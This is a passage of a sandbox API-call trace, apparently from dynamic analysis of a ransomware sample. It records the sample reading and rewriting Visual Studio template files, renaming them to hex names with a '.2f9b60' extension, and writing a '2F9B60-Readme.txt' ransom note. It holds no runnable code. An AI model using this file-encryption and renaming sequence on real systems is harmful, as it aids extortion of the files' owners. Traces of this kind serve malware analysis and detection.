_Dest=0x20504ff0, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.876] sprintf (in: _Dest=0x20504ff2, _Format="%c%c" | out: _Dest="b9") returned 2 [0236.876] sprintf (in: _Dest=0x20504ff4, _Format="%c%c" | out: _Dest="dc") returned 2 [0236.876] sprintf (in: _Dest=0x20504ff6, _Format="%c%c" | out: _Dest="50") returned 2 [0236.876] sprintf (in: _Dest=0x20504ff8, _Format="%c%c" | out: _Dest="54") returned 2 [0236.876] sprintf (in: _Dest=0x20504ffa, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.876] sprintf (in: _Dest=0x20504ffc, _Format="%c%c" | out: _Dest="4f") returned 2 [0236.876] sprintf (in: _Dest=0x20504ffe, _Format="%c%c" | out: _Dest="25") returned 2 [0236.876] RtlInitAnsiString (in: DestinationString=0x1eaaf868, SourceString="c8265426d4a3a52226285c865df5f3e10c34f6ffb02fc10f264b1d44ac25aa26f05af28c917a35b6c92b86fd9b88868afcb9dc5054a54f25" | out: DestinationString="c8265426d4a3a52226285c865df5f3e10c34f6ffb02fc10f264b1d44ac25aa26f05af28c917a35b6c92b86fd9b88868afcb9dc5054a54f25") [0236.876] RtlAnsiStringToUnicodeString (in: DestinationString=0x1eaaf838, SourceString="c8265426d4a3a52226285c865df5f3e10c34f6ffb02fc10f264b1d44ac25aa26f05af28c917a35b6c92b86fd9b88868afcb9dc5054a54f25", AllocateDestinationString=1 | out: DestinationString="c8265426d4a3a52226285c865df5f3e10c34f6ffb02fc10f264b1d44ac25aa26f05af28c917a35b6c92b86fd9b88868afcb9dc5054a54f25") returned 0x0 [0236.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1ceb5300 [0236.877] wcscat (in: _Dest=0x431e2220, _Source="c8265426d4a3a52226285c865df5" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\c8265426d4a3a52226285c865df5") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\c8265426d4a3a52226285c865df5" [0236.877] wcscat (in: _Dest=0x431e2220, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\c8265426d4a3a52226285c865df5.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\c8265426d4a3a52226285c865df5.2f9b60" [0236.877] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\c8265426d4a3a52226285c865df5.2f9b60", NtPathName=0x1eaaf810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\c8265426d4a3a52226285c865df5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x128) returned 0x42c20a10 [0237.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20a10) returned 1 [0237.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a5ba0) returned 1 [0237.325] NtQueryInformationFile (in: FileHandle=0x29b8, IoStatusBlock=0x1eaaf878, FileInformation=0x1eaaf888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1eaaf878, FileInformation=0x1eaaf888) returned 0x0 [0237.325] NtSetInformationFile (FileHandle=0x29b8, IoStatusBlock=0x1eaaf878, FileInformation=0x1eaaf888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e2220) returned 1 [0237.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5300) returned 1 [0237.328] FlushFileBuffers (hFile=0x29b8) returned 1 [0238.226] CloseHandle (hObject=0x29b8) returned 1 [0241.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1ceb66b0 [0241.607] wcscpy (in: _Dest=0x1ceb66b0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\" [0241.607] wcscat (in: _Dest=0x1ceb66b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\2F9B60-Readme.txt" [0241.607] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\2f9b60-readme.txt")) returned 0x20 [0244.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb66b0) returned 1 [0244.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a9820) returned 1 Thread: id = 3959 os_tid = 0xc2c [0234.397] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip")) returned 0x20 [0234.397] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip", dwFileAttributes=0x20) returned 1 [0234.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2420 [0234.400] GetFileSizeEx (in: hFile=0x2420, lpFileSize=0x354bf760 | out: lpFileSize=0x354bf760*=1157) returned 1 [0234.400] SetFilePointerEx (in: hFile=0x2420, liDistanceToMove=0x481, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.400] ReadFile (in: hFile=0x2420, lpBuffer=0x354bf6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x354bf728, lpOverlapped=0x0 | out: lpBuffer=0x354bf6e0*, lpNumberOfBytesRead=0x354bf728*=0x4, lpOverlapped=0x0) returned 1 [0235.039] SetFilePointerEx (in: hFile=0x2420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab7c0 [0235.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab580 [0235.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267260 [0235.041] NtQuerySystemTime (in: CurrentTime=0x354bf620 | out: CurrentTime=0x354bf620*=132462178388434000) returned 0x0 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x605b8b24 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x3c4650ef [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x36f19c1a [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0xff6068 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x2cf27d1d [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x72d615d [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x1d793b91 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x7ab6d96 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x3ff73d89 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x29d95342 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0xbcd7364 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x4b865e30 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x257c33f6 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x29b2ec6c [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x2f7585fd [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x9dac19 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x72c136be [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x35a61faf [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x21dfce6 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x75f24b36 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x4b49253c [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x62434d8a [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0xd7a1efb [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x6e6a2657 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x36251524 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x40ab0a29 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x5a85dac5 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x1a944b07 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x73dc1e7f [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0xb9964c [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x70060ea9 [0235.041] RtlRandomEx (in: Seed=0x354bf610 | out: Seed=0x354bf610) returned 0x6eec615 [0235.049] ReadFile (in: hFile=0x2420, lpBuffer=0x42966280, nNumberOfBytesToRead=0x485, lpNumberOfBytesRead=0x354bf610, lpOverlapped=0x0 | out: lpBuffer=0x42966280*, lpNumberOfBytesRead=0x354bf610*=0x485, lpOverlapped=0x0) returned 1 [0235.049] SetFilePointerEx (in: hFile=0x2420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.049] WriteFile (in: hFile=0x2420, lpBuffer=0x4294fa20*, nNumberOfBytesToWrite=0x485, lpNumberOfBytesWritten=0x354bf614, lpOverlapped=0x0 | out: lpBuffer=0x4294fa20*, lpNumberOfBytesWritten=0x354bf614*=0x485, lpOverlapped=0x0) returned 1 [0236.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab4f0 [0236.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abb20 [0236.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abb20) returned 1 [0236.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4294fa20) returned 1 [0236.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42966280) returned 1 [0236.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b980) returned 1 [0236.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1ce5b980 [0236.671] SetFilePointerEx (in: hFile=0x2420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0236.671] WriteFile (in: hFile=0x2420, lpBuffer=0x42c20da0*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x354bf730, lpOverlapped=0x0 | out: lpBuffer=0x42c20da0*, lpNumberOfBytesWritten=0x354bf730*=0x122, lpOverlapped=0x0) returned 1 [0236.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62780 [0236.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504210 [0236.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3130 [0236.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3130) returned 1 [0236.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1ce5d9b0 [0236.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3130 [0236.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f31f0 [0236.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f31f0) returned 1 [0236.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504210) returned 1 [0236.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62780) returned 1 [0236.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1cdded40 [0236.962] sprintf (in: _Dest=0x1cdded40, _Format="%c%c" | out: _Dest="f8") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded42, _Format="%c%c" | out: _Dest="1c") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded44, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded46, _Format="%c%c" | out: _Dest="22") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded48, _Format="%c%c" | out: _Dest="d2") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded4a, _Format="%c%c" | out: _Dest="fe") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded4c, _Format="%c%c" | out: _Dest="3d") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded4e, _Format="%c%c" | out: _Dest="7c") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded50, _Format="%c%c" | out: _Dest="88") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded52, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded54, _Format="%c%c" | out: _Dest="b8") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded56, _Format="%c%c" | out: _Dest="9d") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded58, _Format="%c%c" | out: _Dest="e8") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded5a, _Format="%c%c" | out: _Dest="00") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded5c, _Format="%c%c" | out: _Dest="b2") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded5e, _Format="%c%c" | out: _Dest="6b") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded60, _Format="%c%c" | out: _Dest="45") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded62, _Format="%c%c" | out: _Dest="be") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded64, _Format="%c%c" | out: _Dest="cc") returned 2 [0236.962] sprintf (in: _Dest=0x1cdded66, _Format="%c%c" | out: _Dest="30") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded68, _Format="%c%c" | out: _Dest="17") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded6a, _Format="%c%c" | out: _Dest="97") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded6c, _Format="%c%c" | out: _Dest="7b") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded6e, _Format="%c%c" | out: _Dest="64") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded70, _Format="%c%c" | out: _Dest="0d") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded72, _Format="%c%c" | out: _Dest="90") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded74, _Format="%c%c" | out: _Dest="09") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded76, _Format="%c%c" | out: _Dest="2f") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded78, _Format="%c%c" | out: _Dest="10") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded7a, _Format="%c%c" | out: _Dest="af") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded7c, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded7e, _Format="%c%c" | out: _Dest="df") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded80, _Format="%c%c" | out: _Dest="d5") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded82, _Format="%c%c" | out: _Dest="cd") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded84, _Format="%c%c" | out: _Dest="41") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded86, _Format="%c%c" | out: _Dest="d1") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded88, _Format="%c%c" | out: _Dest="45") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded8a, _Format="%c%c" | out: _Dest="9f") returned 2 [0236.963] sprintf (in: _Dest=0x1cdded8c, _Format="%c%c" | out: _Dest="8c") returned 2 [0236.964] sprintf (in: _Dest=0x1cdded8e, _Format="%c%c" | out: _Dest="3b") returned 2 [0236.964] sprintf (in: _Dest=0x1cdded90, _Format="%c%c" | out: _Dest="c6") returned 2 [0236.964] sprintf (in: _Dest=0x1cdded92, _Format="%c%c" | out: _Dest="bd") returned 2 [0236.964] sprintf (in: _Dest=0x1cdded94, _Format="%c%c" | out: _Dest="69") returned 2 [0236.964] sprintf (in: _Dest=0x1cdded96, _Format="%c%c" | out: _Dest="e7") returned 2 [0236.964] sprintf (in: _Dest=0x1cdded98, _Format="%c%c" | out: _Dest="9c") returned 2 [0236.964] sprintf (in: _Dest=0x1cdded9a, _Format="%c%c" | out: _Dest="31") returned 2 [0236.964] sprintf (in: _Dest=0x1cdded9c, _Format="%c%c" | out: _Dest="5e") returned 2 [0236.964] sprintf (in: _Dest=0x1cdded9e, _Format="%c%c" | out: _Dest="ac") returned 2 [0236.964] RtlInitAnsiString (in: DestinationString=0x354bf7a8, SourceString="f81c6d22d2fe3d7c887db89de800b26b45becc3017977b640d90092f10afa4dfd5cd41d1459f8c3bc6bd69e79c315eac" | out: DestinationString="f81c6d22d2fe3d7c887db89de800b26b45becc3017977b640d90092f10afa4dfd5cd41d1459f8c3bc6bd69e79c315eac") [0236.964] RtlAnsiStringToUnicodeString (in: DestinationString=0x354bf778, SourceString="f81c6d22d2fe3d7c887db89de800b26b45becc3017977b640d90092f10afa4dfd5cd41d1459f8c3bc6bd69e79c315eac", AllocateDestinationString=1 | out: DestinationString="f81c6d22d2fe3d7c887db89de800b26b45becc3017977b640d90092f10afa4dfd5cd41d1459f8c3bc6bd69e79c315eac") returned 0x0 [0236.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x43113830 [0236.965] wcscat (in: _Dest=0x169800, _Source="f81c6d22d2fe3d7c887db89d" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\f81c6d22d2fe3d7c887db89d") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\f81c6d22d2fe3d7c887db89d" [0236.965] wcscat (in: _Dest=0x169800, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\f81c6d22d2fe3d7c887db89d.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\f81c6d22d2fe3d7c887db89d.2f9b60" [0236.965] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\f81c6d22d2fe3d7c887db89d.2f9b60", NtPathName=0x354bf750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\f81c6d22d2fe3d7c887db89d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x42c20da0 [0237.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20da0) returned 1 [0237.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43084090) returned 1 [0237.068] NtQueryInformationFile (in: FileHandle=0x2420, IoStatusBlock=0x354bf7b8, FileInformation=0x354bf7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x354bf7b8, FileInformation=0x354bf7c8) returned 0x0 [0237.068] NtSetInformationFile (FileHandle=0x2420, IoStatusBlock=0x354bf7b8, FileInformation=0x354bf7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169800) returned 1 [0237.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43113830) returned 1 [0237.076] FlushFileBuffers (hFile=0x2420) returned 1 [0238.199] CloseHandle (hObject=0x2420) returned 1 [0241.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1ceb62f0 [0241.288] wcscpy (in: _Dest=0x1ceb62f0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\" [0241.288] wcscat (in: _Dest=0x1ceb62f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\2F9B60-Readme.txt" [0241.288] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0241.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18bc [0244.074] WriteFile (hFile=0x18bc, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x354bf670, lpOverlapped=0x0) Thread: id = 3960 os_tid = 0xa54 [0234.402] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip")) returned 0x20 [0234.402] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip", dwFileAttributes=0x20) returned 1 [0234.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2414 [0234.403] GetFileSizeEx (in: hFile=0x2414, lpFileSize=0x2a22f780 | out: lpFileSize=0x2a22f780*=589) returned 1 [0234.403] SetFilePointerEx (in: hFile=0x2414, liDistanceToMove=0x249, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.403] ReadFile (in: hFile=0x2414, lpBuffer=0x2a22f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a22f748, lpOverlapped=0x0 | out: lpBuffer=0x2a22f700*, lpNumberOfBytesRead=0x2a22f748*=0x4, lpOverlapped=0x0) returned 1 [0234.404] SetFilePointerEx (in: hFile=0x2414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6400 [0234.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6370 [0234.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4d20 [0234.407] NtQuerySystemTime (in: CurrentTime=0x2a22f640 | out: CurrentTime=0x2a22f640*=132462178382194000) returned 0x0 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x543d36b0 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x75e88c72 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x14b3c7ff [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x4f3665b1 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0xa504a5b [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x592224a5 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x6e262968 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x3c894d96 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x4336079e [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x613d2bbd [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x13b22758 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x3c5b92e8 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x77bd1f8a [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0xb5befd3 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x63e5f234 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x62e65d21 [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: Seed=0x2a22f630) returned 0x3e588b2f [0234.407] RtlRandomEx (in: Seed=0x2a22f630 | out: 